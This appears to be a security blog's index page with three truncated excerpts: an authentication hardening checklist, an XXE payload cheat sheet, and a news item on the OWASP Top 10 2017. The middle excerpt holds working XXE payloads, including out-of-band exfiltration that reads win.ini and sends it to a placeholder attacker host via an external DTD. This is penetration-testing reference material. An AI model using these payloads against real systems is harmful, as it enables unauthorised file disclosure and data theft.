Just A N00B Thinking

Safety Checklist Authority System (Registration/Registration/Secondary Verification/Password Reset) Use HTTPS everywhere. Use Bcrypt to store password hash (necessary to use salt - this is what Bcrypt does). Destroy the session ID after logging out. Destroy all active sessions after password reset. OAuth2 authentication must include the state parameter. After the login is successful, it cannot be directly redirected to the open path (need to check, otherwise it is easy to have a phishing attack). Parses javascript://, data://, and other CRLF characters when parsing user login/login input. Use secure/httpOnly cookies. When OTP authentication is used on the mobile device, OTP (One Time Password) cannot be returned directly when the generate OTP or Resend OTP API is invoked. (usually by sending a mobile phone to verify SMS, mailbox random code, etc., instead of direct response) Limit the number of API calls such as Login, Verify OTP, Resend OTP, and generate OTP for i...

Vanilla, used to verify outbound xxe or blind xxe <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> ]> <r>&sp;</r> OoB extraction <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> %sp; %param1; ]> <r>&exfil;</r> External dtd: <!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>"> OoB variation of above (seems to work better against .NET) <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> %sp; %param1; %exfil; ]> External dtd: <!ENTITY % data SYSTEM "file:///c:/win...

The Open Web Application Security Project (OWASP) officially released its Top 10 most critical web application security risks. This is the first time the organization has updated the Top 10 since 2013. “Change has accelerated over the last four years, and the OWASP Top 10 needed to change. We’ve completely refactored the OWASP Top 10, revamped the methodology, utilized a new data call process, worked with the community, re-ordered our risks, rewritten each risk from the ground up, and added references to frameworks and languages that are now commonly used,” the OWASP wrote in the Top 10 2017. According to the OWASP, some significant changes over the past couple of years that resulted in an update to the Top 10 include micro-services, single page apps, and the dominance of JavaScript as a primary language on the web. What are the Changes In 2017 SQL injection stays at the top followed by Broken Authentication. Insecure Direct Object References and Missing Function Leve...